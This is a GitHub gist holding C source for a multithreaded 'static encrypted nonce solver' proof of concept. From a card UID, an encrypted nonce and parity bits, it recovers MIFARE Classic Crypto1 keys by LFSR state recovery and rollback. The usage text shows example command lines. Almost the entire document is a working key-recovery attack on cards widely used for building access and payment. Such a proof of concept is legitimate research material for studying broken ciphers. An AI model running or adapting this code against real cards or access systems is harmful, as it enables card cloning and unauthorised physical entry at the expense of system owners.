Last active
July 24, 2024 20:44
-
-
Save noproto/e6f4905107e9a7d56a90db7324ba9bf8 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Proof of concept static encrypted nonce solver v3 | |
// by noproto | |
// gcc -o static_encrypted static_encrypted.c -lpthread -O3 | |
// | |
// This code is licensed to you under the terms of the GNU GPL, version 2 or, | |
// at your option, any later version. | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <stdint.h> | |
#include <stdbool.h> | |
#include <string.h> | |
#include <pthread.h> | |
#include <getopt.h> | |
#include <limits.h> | |
#define LF_POLY_ODD (0x29CE5C) | |
#define LF_POLY_EVEN (0x870804) | |
#define CONST_M1_1 (LF_POLY_EVEN << 1 | 1) | |
#define CONST_M2_1 (LF_POLY_ODD << 1) | |
#define CONST_M1_2 (LF_POLY_ODD) | |
#define CONST_M2_2 (LF_POLY_EVEN << 1 | 1) | |
#define BIT(x, n) ((x) >> (n) & 1) | |
#define BEBIT(x, n) BIT(x, (n) ^ 24) | |
#define SIZEOF(arr) sizeof(arr) / sizeof(*arr) | |
#define SWAPENDIAN(x) (x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16) | |
// Parity table | |
const uint8_t OddByteParity[256] = { | |
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, | |
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, | |
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, | |
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, | |
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, | |
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, | |
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, | |
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, | |
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, | |
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, | |
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, | |
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, | |
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, | |
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, | |
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, | |
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1 | |
}; | |
struct Crypto1State { | |
uint32_t odd, even; | |
}; | |
typedef struct { | |
uint8_t data[6]; | |
} MfClassicKey; | |
// New struct to pass arguments to threads | |
typedef struct { | |
uint32_t start; | |
uint32_t end; | |
uint32_t nt_enc; | |
uint32_t uid; | |
uint8_t par; | |
uint32_t nt; // Optional plaintext nt | |
} ThreadArgs; | |
// Global variables for thread synchronization | |
pthread_mutex_t printf_mutex = PTHREAD_MUTEX_INITIALIZER; | |
uint32_t prng_successor(uint32_t x, uint32_t n) { | |
SWAPENDIAN(x); | |
while (n--) | |
x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31; | |
return SWAPENDIAN(x); | |
} | |
static inline uint32_t filter(uint32_t const x) { | |
uint32_t f; | |
f = 0xf22c0 >> (x & 0xf) & 16; | |
f |= 0x6c9c0 >> (x >> 4 & 0xf) & 8; | |
f |= 0x3c8b0 >> (x >> 8 & 0xf) & 4; | |
f |= 0x1e458 >> (x >> 12 & 0xf) & 2; | |
f |= 0x0d938 >> (x >> 16 & 0xf) & 1; | |
return BIT(0xEC57E80A, f); | |
} | |
#if !defined LOWMEM && defined __GNUC__ | |
static uint8_t filterlut[1 << 20]; | |
static void __attribute__((constructor)) fill_lut() | |
{ | |
uint32_t i; | |
for(i = 0; i < 1 << 20; ++i) | |
filterlut[i] = filter(i); | |
} | |
#define filter(x) (filterlut[(x) & 0xfffff]) | |
#endif | |
uint8_t get_nth_byte(uint32_t value, int n) { | |
if (n < 0 || n > 3) { | |
// Handle invalid input | |
return 0; | |
} | |
return (value >> (8 * (3 - n))) & 0xFF; | |
} | |
// Parity functions | |
static inline bool evenparity8(const uint8_t x) { | |
return !OddByteParity[x]; | |
} | |
static inline uint8_t evenparity32(uint32_t x) { | |
return __builtin_parity(x); | |
} | |
typedef struct bucket { | |
uint32_t *head; | |
uint32_t *bp; | |
} bucket_t; | |
typedef bucket_t bucket_array_t[2][0x100]; | |
typedef struct bucket_info { | |
struct { | |
uint32_t *head, *tail; | |
} bucket_info[2][0x100]; | |
uint32_t numbuckets; | |
} bucket_info_t; | |
static void bucket_sort_intersect(uint32_t* const estart, uint32_t* const estop, | |
uint32_t* const ostart, uint32_t* const ostop, | |
bucket_info_t *bucket_info, bucket_array_t bucket) { | |
uint32_t *p1, *p2; | |
uint32_t *start[2]; | |
uint32_t *stop[2]; | |
start[0] = estart; | |
stop[0] = estop; | |
start[1] = ostart; | |
stop[1] = ostop; | |
// init buckets to be empty | |
for (uint32_t i = 0; i < 2; i++) { | |
for (uint32_t j = 0x00; j <= 0xff; j++) { | |
bucket[i][j].bp = bucket[i][j].head; | |
} | |
} | |
// sort the lists into the buckets based on the MSB (contribution bits) | |
for (uint32_t i = 0; i < 2; i++) { | |
for (p1 = start[i]; p1 <= stop[i]; p1++) { | |
uint32_t bucket_index = (*p1 & 0xff000000) >> 24; | |
*(bucket[i][bucket_index].bp++) = *p1; | |
} | |
} | |
// write back intersecting buckets as sorted list. | |
// fill in bucket_info with head and tail of the bucket contents in the list and number of non-empty buckets. | |
uint32_t nonempty_bucket; | |
for (uint32_t i = 0; i < 2; i++) { | |
p1 = start[i]; | |
nonempty_bucket = 0; | |
for (uint32_t j = 0x00; j <= 0xff; j++) { | |
if (bucket[0][j].bp != bucket[0][j].head && bucket[1][j].bp != bucket[1][j].head) { // non-empty intersecting buckets only | |
bucket_info->bucket_info[i][nonempty_bucket].head = p1; | |
for (p2 = bucket[i][j].head; p2 < bucket[i][j].bp; *p1++ = *p2++); | |
bucket_info->bucket_info[i][nonempty_bucket].tail = p1 - 1; | |
nonempty_bucket++; | |
} | |
} | |
bucket_info->numbuckets = nonempty_bucket; | |
} | |
} | |
static inline void update_contribution(uint32_t *item, const uint32_t mask1, const uint32_t mask2) { | |
uint32_t p = *item >> 25; | |
p = p << 1 | evenparity32(*item & mask1); | |
p = p << 1 | evenparity32(*item & mask2); | |
*item = p << 24 | (*item & 0xffffff); | |
} | |
static inline void extend_table(uint32_t *tbl, uint32_t **end, int bit, int m1, int m2, uint32_t in) { | |
in <<= 24; | |
for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1) { | |
if(filter(*tbl) ^ filter(*tbl | 1)) { | |
*tbl |= filter(*tbl) ^ bit; | |
update_contribution(tbl, m1, m2); | |
*tbl ^= in; | |
} else if(filter(*tbl) == bit) { | |
*++*end = tbl[1]; | |
tbl[1] = tbl[0] | 1; | |
update_contribution(tbl, m1, m2); | |
*tbl++ ^= in; | |
update_contribution(tbl, m1, m2); | |
*tbl ^= in; | |
} else { | |
*tbl-- = *(*end)--; | |
} | |
} | |
} | |
static inline void extend_table_simple(uint32_t *tbl, uint32_t **end, int bit) { | |
for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1) { | |
if(filter(*tbl) ^ filter(*tbl | 1)) | |
*tbl |= filter(*tbl) ^ bit; | |
else if(filter(*tbl) == bit) { | |
*++*end = *++tbl; | |
*tbl = tbl[-1] | 1; | |
} else { | |
*tbl-- = *(*end)--; | |
} | |
} | |
} | |
static struct Crypto1State* recover(uint32_t *o_head, uint32_t *o_tail, uint32_t oks, | |
uint32_t *e_head, uint32_t *e_tail, uint32_t eks, int rem, | |
struct Crypto1State *sl, uint32_t in, bucket_array_t bucket) { | |
uint32_t *o, *e, i; | |
bucket_info_t bucket_info; | |
if(rem == -1) { | |
for(e = e_head; e <= e_tail; ++e) { | |
*e = *e << 1 ^ evenparity32(*e & LF_POLY_EVEN) ^ !!(in & 4); | |
for(o = o_head; o <= o_tail; ++o, ++sl) { | |
sl->even = *o; | |
sl->odd = *e ^ evenparity32(*o & LF_POLY_ODD); | |
sl[1].odd = sl[1].even = 0; | |
} | |
} | |
return sl; | |
} | |
for(i = 0; i < 4 && rem--; i++) { | |
oks >>= 1; | |
eks >>= 1; | |
in >>= 2; | |
extend_table(o_head, &o_tail, oks & 1, LF_POLY_EVEN << 1 | 1, | |
LF_POLY_ODD << 1, 0); | |
if(o_head > o_tail) | |
return sl; | |
extend_table(e_head, &e_tail, eks & 1, LF_POLY_ODD, | |
LF_POLY_EVEN << 1 | 1, in & 3); | |
if(e_head > e_tail) | |
return sl; | |
} | |
bucket_sort_intersect(e_head, e_tail, o_head, o_tail, &bucket_info, bucket); | |
for (int i = bucket_info.numbuckets - 1; i >= 0; i--) { | |
sl = recover(bucket_info.bucket_info[1][i].head, bucket_info.bucket_info[1][i].tail, oks, | |
bucket_info.bucket_info[0][i].head, bucket_info.bucket_info[0][i].tail, eks, | |
rem, sl, in, bucket); | |
} | |
return sl; | |
} | |
struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in) { | |
struct Crypto1State *statelist; | |
uint32_t *odd_head = 0, *odd_tail = 0, oks = 0; | |
uint32_t *even_head = 0, *even_tail = 0, eks = 0; | |
int i; | |
for(i = 31; i >= 0; i -= 2) | |
oks = oks << 1 | BEBIT(ks2, i); | |
for(i = 30; i >= 0; i -= 2) | |
eks = eks << 1 | BEBIT(ks2, i); | |
odd_head = odd_tail = malloc(sizeof(uint32_t) << 21); | |
even_head = even_tail = malloc(sizeof(uint32_t) << 21); | |
statelist = malloc(sizeof(struct Crypto1State) << 18); | |
if(!odd_tail-- || !even_tail-- || !statelist) { | |
free(statelist); | |
statelist = 0; | |
goto out; | |
} | |
statelist->odd = statelist->even = 0; | |
// allocate memory for out of place bucket_sort | |
bucket_array_t bucket; | |
for (uint32_t i = 0; i < 2; i++) | |
for (uint32_t j = 0; j <= 0xff; j++) { | |
bucket[i][j].head = malloc(sizeof(uint32_t)<<14); | |
if (!bucket[i][j].head) { | |
goto out; | |
} | |
} | |
for(i = 1 << 20; i >= 0; --i) { | |
if(filter(i) == (oks & 1)) | |
*++odd_tail = i; | |
if(filter(i) == (eks & 1)) | |
*++even_tail = i; | |
} | |
for(i = 0; i < 4; i++) { | |
extend_table_simple(odd_head, &odd_tail, (oks >>= 1) & 1); | |
extend_table_simple(even_head, &even_tail, (eks >>= 1) & 1); | |
} | |
in = (in >> 16 & 0xff) | (in << 16) | (in & 0xff00); | |
recover(odd_head, odd_tail, oks, | |
even_head, even_tail, eks, 11, statelist, in << 1, bucket); | |
out: | |
free(odd_head); | |
free(even_head); | |
for (uint32_t i = 0; i < 2; i++) | |
for (uint32_t j = 0; j <= 0xff; j++) | |
free(bucket[i][j].head); | |
return statelist; | |
} | |
uint8_t lfsr_rollback_bit(struct Crypto1State* s, uint32_t in, int fb) { | |
int out; | |
uint8_t ret; | |
uint32_t t; | |
s->odd &= 0xffffff; | |
t = s->odd, s->odd = s->even, s->even = t; | |
out = s->even & 1; | |
out ^= LF_POLY_EVEN & (s->even >>= 1); | |
out ^= LF_POLY_ODD & s->odd; | |
out ^= !!in; | |
out ^= (ret = filter(s->odd)) & !!fb; | |
s->even |= evenparity32(out) << 23; | |
return ret; | |
} | |
uint32_t lfsr_rollback_word(struct Crypto1State* s, uint32_t in, int fb) { | |
int i; | |
uint32_t ret = 0; | |
for(i = 31; i >= 0; --i) ret |= lfsr_rollback_bit(s, BEBIT(in, i), fb) << (i ^ 24); | |
return ret; | |
} | |
void crypto1_get_lfsr(struct Crypto1State* state, MfClassicKey* lfsr) { | |
int i; | |
uint64_t lfsr_value = 0; | |
for(i = 23; i >= 0; --i) { | |
lfsr_value = lfsr_value << 1 | BIT(state->odd, i ^ 3); | |
lfsr_value = lfsr_value << 1 | BIT(state->even, i ^ 3); | |
} | |
// Assign the key value to the MfClassicKey struct | |
for(i = 0; i < 6; ++i) { | |
lfsr->data[i] = (lfsr_value >> ((5 - i) * 8)) & 0xFF; | |
} | |
} | |
uint8_t crypto1_bit(struct Crypto1State *s, uint8_t in, int is_encrypted) { | |
uint32_t feedin, t; | |
uint8_t ret = filter(s->odd); | |
feedin = ret & !!is_encrypted; | |
feedin ^= !!in; | |
feedin ^= LF_POLY_ODD & s->odd; | |
feedin ^= LF_POLY_EVEN & s->even; | |
s->even = s->even << 1 | evenparity32(feedin); | |
t = s->odd, s->odd = s->even, s->even = t; | |
return ret; | |
} | |
uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted) { | |
uint32_t i, ret = 0; | |
for (i = 0; i < 32; ++i) { | |
ret |= crypto1_bit(s, BEBIT(in, i), is_encrypted) << (i ^ 24); | |
} | |
return ret; | |
} | |
uint32_t crypto1_word_par(struct Crypto1State *s, uint32_t in, int is_encrypted, uint32_t nth_successor, uint8_t *parity_keystream_bits) { | |
uint32_t ret = 0; | |
*parity_keystream_bits = 0; // Reset parity keystream bits | |
for (int i = 0; i < 32; i++) { | |
uint8_t bit = crypto1_bit(s, BEBIT(in, i), is_encrypted); | |
ret |= bit << (24 ^ i); | |
// Save keystream parity bit | |
if ((i+1) % 8 == 0) { | |
*parity_keystream_bits |= (filter(s->odd) ^ evenparity8(get_nth_byte(nth_successor, i / 8))) << (3 - (i / 8)); | |
} | |
} | |
return ret; | |
} | |
void* se_candidates_thread(void* arg) { | |
ThreadArgs* args = (ThreadArgs*)arg; | |
struct Crypto1State *s, *t; | |
uint32_t guessed_nt_enc_plain; | |
uint8_t local_parity_keystream_bits; | |
//printf("Thread range: %i-%i\n", args->start, args->end); // DEBUG | |
for (uint32_t r = args->start; r <= args->end; r++) { | |
guessed_nt_enc_plain = prng_successor(args->nt, r); | |
uint32_t guessed_in = guessed_nt_enc_plain ^ args->uid; | |
uint32_t guessed_ks = guessed_nt_enc_plain ^ args->nt_enc; | |
s = lfsr_recovery32(guessed_ks, guessed_in); | |
for(t = s; t->odd | t->even; ++t) { | |
struct Crypto1State temp = {t->odd, t->even}; | |
uint32_t ret = lfsr_rollback_word(&temp, guessed_in, 0); | |
if (ret == guessed_ks) { | |
MfClassicKey key; | |
crypto1_get_lfsr(&temp, &key); | |
if ((guessed_nt_enc_plain ^ crypto1_word_par(&temp, args->uid ^ guessed_nt_enc_plain, 0, guessed_nt_enc_plain, &local_parity_keystream_bits)) == args->nt_enc) { | |
if (local_parity_keystream_bits == args->par) { | |
pthread_mutex_lock(&printf_mutex); | |
printf("kc: "); | |
for(int j = 0; j < 6; j++) { | |
printf("%02x", key.data[j]); | |
} | |
printf("\n"); | |
fflush(stdout); | |
pthread_mutex_unlock(&printf_mutex); | |
} | |
} | |
} | |
} | |
free(s); | |
} | |
return NULL; | |
} | |
uint32_t hex_to_uint32(const char *hex) { | |
uint32_t val; | |
sscanf(hex, "%x", &val); | |
return val; | |
} | |
int main(int argc, char *argv[]) { | |
uint32_t nt_enc = 0, uid = 0, nt = 0; | |
uint8_t par = 0; | |
int num_threads = 1; | |
uint32_t offset = 0, distance = 0; | |
bool uid_set = false; | |
bool nt_enc_set = false; | |
bool par_set = false; | |
bool offset_set = false; | |
bool nt_set = false; | |
int opt; | |
while ((opt = getopt(argc, argv, "u:e:p:n:t:o:d:")) != -1) { | |
switch (opt) { | |
case 'u': | |
uid = hex_to_uint32(optarg); | |
uid_set = true; | |
break; | |
case 'e': | |
nt_enc = hex_to_uint32(optarg); | |
nt_enc_set = true; | |
break; | |
case 'p': | |
par = (uint8_t)strtol(optarg, NULL, 2); | |
par_set = true; | |
break; | |
case 'n': | |
nt = hex_to_uint32(optarg); | |
nt_set = true; | |
break; | |
case 't': num_threads = atoi(optarg); break; | |
case 'o': | |
{ | |
long long temp = strtoll(optarg, NULL, 10); | |
if (temp < 0 || temp > UINT16_MAX) { | |
fprintf(stderr, "Error: Offset must be between 0 and %u\n", UINT16_MAX); | |
exit(1); | |
} | |
offset = (uint32_t)temp; | |
offset_set = true; | |
} | |
break; | |
case 'd': | |
{ | |
long long temp = strtoll(optarg, NULL, 10); | |
if (temp < 0 || temp > UINT16_MAX) { | |
fprintf(stderr, "Error: Distance must be between 0 and %u\n", UINT16_MAX); | |
exit(1); | |
} | |
distance = (uint32_t)temp; | |
} | |
break; | |
default: | |
fprintf(stderr, "Static Encrypted Nonce Solver PoC v3 by noproto\n"); | |
fprintf(stderr, "Usage: %s -u <uid> -e <encrypted nt> -p <4 bit binary parity> [-n <plaintext nt>] [-t <num_threads>] [-o <offset>] [-d <distance>]\n", argv[0]); | |
fprintf(stderr, "Examples: \n"); | |
fprintf(stderr, " %s -u 423e9ef4 -e e9371463 -p 1110\n", argv[0]); | |
fprintf(stderr, " %s -u 423e9ef4 -n f8d3e68b -e e9371463 -p 1110 -o 56530 -d 2 -t 4\n", argv[0]); | |
exit(1); | |
} | |
} | |
if (!uid_set || !nt_enc_set || !par_set) { | |
fprintf(stderr, "Error: -u, -e, and -p are required arguments.\n"); | |
exit(1); | |
} | |
uint32_t start, end; | |
if (offset_set) { | |
start = (offset > distance) ? (offset - distance) : 0; | |
end = (offset + distance <= 65535) ? (offset + distance) : 65535; | |
} else { | |
start = 0; | |
end = 65535; | |
} | |
pthread_t threads[num_threads]; | |
ThreadArgs thread_args[num_threads]; | |
uint32_t total_range = end - start + 1; | |
if (total_range < num_threads) { | |
num_threads = total_range; // Reduce number of threads | |
} | |
//printf("Spawning %i thread(s)\n", num_threads); // DEBUG | |
uint32_t range_per_thread = total_range / num_threads; | |
uint32_t remainder = total_range % num_threads; | |
for (int i = 0; i < num_threads; i++) { | |
thread_args[i].start = start + (i * range_per_thread) + (i < remainder ? i : remainder); | |
thread_args[i].end = start + ((i + 1) * range_per_thread) + ((i + 1) < remainder ? (i + 1) : remainder) - 1; | |
thread_args[i].nt_enc = nt_enc; | |
thread_args[i].uid = uid; | |
thread_args[i].par = par; | |
if (nt_set) { | |
thread_args[i].nt = nt; | |
} else { | |
// Known initial value of LFSR: 00000000000000001010101010101010 | |
thread_args[i].nt = 0x0000aaaa; | |
} | |
pthread_create(&threads[i], NULL, se_candidates_thread, (void*)&thread_args[i]); | |
} | |
for (int i = 0; i < num_threads; i++) { | |
pthread_join(threads[i], NULL); | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment